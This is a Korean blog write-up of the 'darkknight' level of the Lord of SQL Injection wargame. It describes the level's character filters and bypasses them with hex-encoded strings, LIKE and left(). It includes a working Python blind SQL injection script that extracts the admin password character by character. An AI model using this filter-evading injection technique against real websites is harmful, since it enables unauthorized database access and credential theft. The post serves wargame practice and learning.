[Lord of SQL Injection] 12번 darkknight

2021. 1. 21. 16:33·Write-Up/LOS (lord of sql injection)
반응형

pw는 싱글쿼터를 필터링한다.

no는 싱글쿼터, =, substr, ascii가 필터링된다.

싱글쿼터가 필터링 되기때문에 hex로 넣어주겠다.

admin의 hex값은 0x61646d696e이다

처음 pw 길이를 알아내기 위하여

lenght 함수를 이용하였다.

import requests
 
cookies= {'PHPSESSID':'bme8kemqnchvr6qmbblqpbbs05'}
url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?'
pw = ''
for i in range(1,9):
    for j in range(48,127):
        payload = "no=1 or id like 0x61646d696e %26%26 left(pw,"+str(i)+') like "'+pw+chr(j)+'"'
        new_url = url+payload
        res = requests.get(new_url, cookies=cookies)
        res.raise_for_status()
        if "Hello admin" in res.text :
            pw += chr(j)
            print("pw: "+pw)
            break
        
print ("pw : "+pw)

반응형

'Write-Up > LOS (lord of sql injection)' 카테고리의 다른 글

[Lord of SQL Injection] 14번 giant  (0) 2021.01.21
[Lord of SQL Injection] 13번 bugbear  (0) 2021.01.21
[Lord of SQL Injection] 11번 golem  (0) 2021.01.21
[Lord of SQL Injection] 10번 skeleton  (0) 2021.01.21
[Lord of SQL Injection] 9번 vampire  (0) 2021.01.21
'Write-Up/LOS (lord of sql injection)' 카테고리의 다른 글
  • [Lord of SQL Injection] 14번 giant
  • [Lord of SQL Injection] 13번 bugbear
  • [Lord of SQL Injection] 11번 golem
  • [Lord of SQL Injection] 10번 skeleton
Penguin Dev
Penguin Dev
What does the Penguin say?
    글쓰기 관리
  • Penguin Dev
    Pengha!
    Penguin Dev
  • 전체
    오늘
    어제
    • 분류 전체보기 (152)
      • Java & Spring (5)
      • System Hacking (4)
      • Algorithm (8)
        • Sorting algorithm (3)
      • Python (6)
      • Web (2)
        • Web Hacking & Security (2)
      • Write-Up (108)
        • pwnable.kr (17)
        • HackCTF (16)
        • 해커스쿨 FTZ (21)
        • LOB(lord of bufferoverflow) (19)
        • LOS (lord of sql injection) (28)
        • XSS-game (6)
        • Webhacking.kr (1)
      • SUA (19)
        • 오픈소스 보안 (19)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    SpringBoot
    thread-safe
    tabat
    동시성처리
    computeifabsent()
    Lock
    ConcurrentHashMap
    코드트리
    AQS
    CountDownLatch
    동시성
    spring
    hashmap vs concurrenthashmap
    spring boot
    lord of bufferoverflow
    nop sled
    computeifpresent
    concurrenthashmap vs hashmap
    computeifabsent
    Java
    sqlinjection
    쿠폰발급
    LOB
    reentrantlock실습
    DB정리
    putval()
    코드트리조별과제
    computeifpresent()
    ReentrantLock
    enumerate #list comprehension
  • 최근 댓글

  • 반응형
  • hELLO· Designed By정상우.v4.10.3
Penguin Dev
[Lord of SQL Injection] 12번 darkknight
상단으로

티스토리툴바